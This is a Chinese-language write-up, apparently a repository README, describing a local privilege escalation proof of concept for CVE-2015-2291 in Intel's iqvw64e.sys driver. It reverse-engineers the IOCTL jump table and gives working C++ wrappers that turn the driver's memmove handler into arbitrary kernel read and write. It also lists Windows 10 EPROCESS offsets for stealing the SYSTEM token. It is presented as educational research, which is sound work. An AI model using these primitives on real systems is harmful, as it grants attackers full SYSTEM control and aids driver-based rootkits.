
CVE-2015-2291 Local Privilege Escalation PoC
CVE-2015-2291 本地权限提升 PoC

本项目是针对驱动 iqvw64e.sys(SHA256:37c637a74bf20d7630281581a8fae124200920df11ad7cd68c14c26cc12c5ec9)中一个**本地权限提升(LPE)**漏洞的教育性概念验证——该驱动是英特尔以太网诊断驱动程序,关联 CVE-2015-2291。
在见到该驱动被内核级加载器(如 KDMapper)利用后,我想自己逆向它,以了解 IOCTL 分发的工作原理、它向用户态暴露了哪些功能,以及攻击者可能如何发现或利用它们。本编写记录将从静态分析到使用 DeviceIoControl 构建内存原语,最终创建利用这些原语替换当前进程访问令牌为 SYSTEM 进程令牌 的漏洞利用,从而将进程提升至 SYSTEM 权限。
在 Windows 上,每个进程都关联一个定义其身份和权限的访问令牌。 通过获得任意内核读写能力,就可以修改内核进程结构中存储的令牌指针。 将该指针替换为 SYSTEM 进程对应的指针,会导致操作系统将当前进程与 SYSTEM 的安全上下文关联,从而授予其完全权限。了解更多信息请参见此处。
该驱动为 IRP_MJ_DEVICE_CONTROL 注册了一个分发例程,用于处理来自用户态的 DeviceIoControl 调用。如下所示,它通过 sub_11150 根据输入的 IO 控制代码引导代码流。本例中,我们关注 0x80862007,该值将我们带到 loc_111C2。

沿 loc_111C2 的代码流,我们到达 sub_113C0。它接收一个输入缓冲区(a1),并使用该缓冲区的第一个 QWORD 作为跳转表的索引,跳转到内部处理函数。在此,驱动执行以下操作:
读取 a1 → 第一个 QWORD(偏移 0x0)→ jump_table_index
基于该索引进行 switch 分发
分发至对应的内部函数
使用 a1 中的剩余字段作为参数
我们现在知道输入缓冲区同时控制着分发目标及其参数。我们将在继续分析的过程中进一步定义 输入缓冲区 的结构。
typedef struct _MEMMOVE_INPUT_BUFFER
{
uint64_t jump_table_index; // 0x00 —— 用作分发选择器
} MEMMOVE_INPUT_BUFFER, *PMEMMOVE_INPUT_BUFFER;


memmove 原语在分析跳转表的情况时,我搜索了类似于 memmove 或 memcpy 的处理程序。在 case 0x33 中,驱动调用 sub_11EA0,并传递输入缓冲区中的三个字段。这非常类似于内存拷贝:

打开 sub_11EA0,我们发现预期的签名:
void* memmove( void* dest, const void* src, std::size_t count );
反汇编确认:
参数 a1 = destination
参数 a2 = source
参数 a3 = length

有了这些信息,我们现在可以完整重建 memmove 调用所需的输入缓冲区布局:
typedef struct _MEMMOVE_INPUT_BUFFER
{
uint64_t jump_table_index; // 0x00
uint64_t padding; // 0x08 (8)
uint64_t source; // 0x10 (16)
uint64_t destination; // 0x18 (24)
uint64_t length; // 0x20 (32)
} MEMMOVE_INPUT_BUFFER, *PMEMMOVE_INPUT_BUFFER;
我们现在知道,通过向驱动发送一个有效的 MEMMOVE_INPUT_BUFFER,并设置:
jump_table_index = 0x33
按需设置 source、destination 和 length
我们可以指示驱动在任意地址上调用 memmove,从而从用户态获得完整的内核内存读/写能力。
以下是围绕该原语构建的用户态包装函数:
bool MemMove(uint64_t destination, uint64_t source, uint64_t size) {
if (!destination || !source || !size)
return 0;
MEMMOVE_INPUT_BUFFER input_buffer = { 0 };
input_buffer.jump_table_index = 0x33; // memmove 的跳转表索引 (51)
input_buffer.source = source;
input_buffer.destination = destination;
input_buffer.length = size;
DWORD bytes_returned = 0;
return DeviceIoControl(hDriver, IOCTL_MEMMOVE, &input_buffer, sizeof(input_buffer), nullptr, 0, &bytes_returned, nullptr);
}
uintptr_t read64(uintptr_t address)
{
uintptr_t value = 0;
if (MemMove(reinterpret_cast<uint64_t>(&value), address, sizeof(uintptr_t)))
return value;
return 0;
}
bool write64(uintptr_t address, uintptr_t value)
{
return MemMove(address, reinterpret_cast<uint64_t>(&value), sizeof(uintptr_t));
}
这些辅助函数允许对内核虚拟内存进行任意的 64 位读取和写入。至此,多种攻击成为可能(例如 EPROCESS 令牌窃取),但本编写记录侧重于逆向重构与分析。main.cpp 中包含了 PoC EPROCESS 令牌窃取漏洞利用,基于 Eap2468 的 CVE-2021-2155 实现。
Windows 版本:10 x64 22H2 (19045.6466)
EPROCESS 偏移:
UniqueProcessId:0x440ActiveProcessLinks:0x448Token:0x4b8驱动:iqvw64e.sys(驱动二进制已包含在仓库中,方便使用)
SHA256:37c637a74bf20d7630281581a8fae124200920df11ad7cd68c14c26cc12c5ec9
